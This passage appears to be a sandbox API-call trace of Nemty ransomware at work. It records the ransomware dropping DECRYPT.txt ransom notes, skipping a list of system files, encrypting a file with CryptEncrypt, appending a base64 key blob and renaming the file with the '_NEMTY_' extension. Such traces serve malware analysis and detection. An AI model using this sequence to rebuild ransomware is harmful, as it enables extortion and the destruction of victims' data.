lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0177.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0177.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.314] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.316] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.316] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0177.317] CloseHandle (hObject=0x2e8) returned 1 [0177.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0177.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0177.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0177.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0177.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0177.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.317] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.318] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.318] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0177.319] CloseHandle (hObject=0x2e8) returned 1 [0177.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0177.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0177.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.319] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d5490f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d5490f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0177.319] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0177.319] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d5490f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d5490f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.319] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0177.319] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0177.319] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0177.319] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0177.319] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0177.319] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0177.319] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0177.319] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0177.320] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0177.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0177.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0177.321] Sleep (dwMilliseconds=0x5) [0177.323] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1d56f250, dwHighDateTime=0x1d561e8)) [0177.323] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1d56f250, dwHighDateTime=0x1d561e8)) [0177.323] GetLastError () returned 0xb7 [0177.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.323] GetLastError () returned 0xb7 [0177.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.323] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0177.323] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0177.323] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0177.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0177.323] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="u9KlK/pYerAAHMTcakEw3b0278hXn77PjCKX4i92xWHeL7x/H+8657EoTnrMBm3H\r\nVsIzA4c70OSnatUevdNpHbCyqOWYGo1kj5ecmSTd9WKCBIuKfbB4FENfP7wUkKY/\r\nAVx4egrJ9FZBm51KQ/XHjsei2c0BZTAkPsrID4YCK9XlGCrjK3zaTYJ0CmnouJun\r\nQCfQ8xLmPJhME8W4ddEQh2xiN4WoU4/mqnJU0BudIbESqJCrdmlvyI8g6/HTvfFl\r\nXnMX7KW+HcnyQZZkZJcRzECr52JWNbZjRSmON1dj+xzGbUMFI5Xid3MQnuIP042r\r\nCkb3N8mdQq54J/eB7wWbKQ==\r\n", pcchString=0x653e29c) returned 1 [0177.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0177.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0177.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.324] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0177.324] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=38992) returned 1 [0177.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9850) returned 0x6352c48 [0177.324] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.324] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9850, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x9850, lpOverlapped=0x0) returned 1 [0177.329] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.329] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9850, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x9850, lpOverlapped=0x0) returned 1 [0177.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.329] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=38992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9850 [0177.329] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0177.329] CloseHandle (hObject=0x2f0) returned 1 [0177.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0177.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0177.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0177.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0177.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.330] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0177.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0177.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0177.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0177.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.330] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0177.330] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0177.330] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0177.330] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0177.330] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0177.330] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0177.330] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0177.330] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0177.331] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0177.331] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0177.331] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0177.331] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0177.331] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0177.331] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0177.331] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0177.331] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0177.331] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0177.331] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0177.331] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0177.331] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0177.331] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0177.331] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0177.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0177.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0177.332] Sleep (dwMilliseconds=0x5) [0177.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1d5953b0, dwHighDateTime=0x1d561e8)) [0177.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1d5953b0, dwHighDateTime=0x1d561e8)) [0177.339] GetLastError () returned 0x0 [0177.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 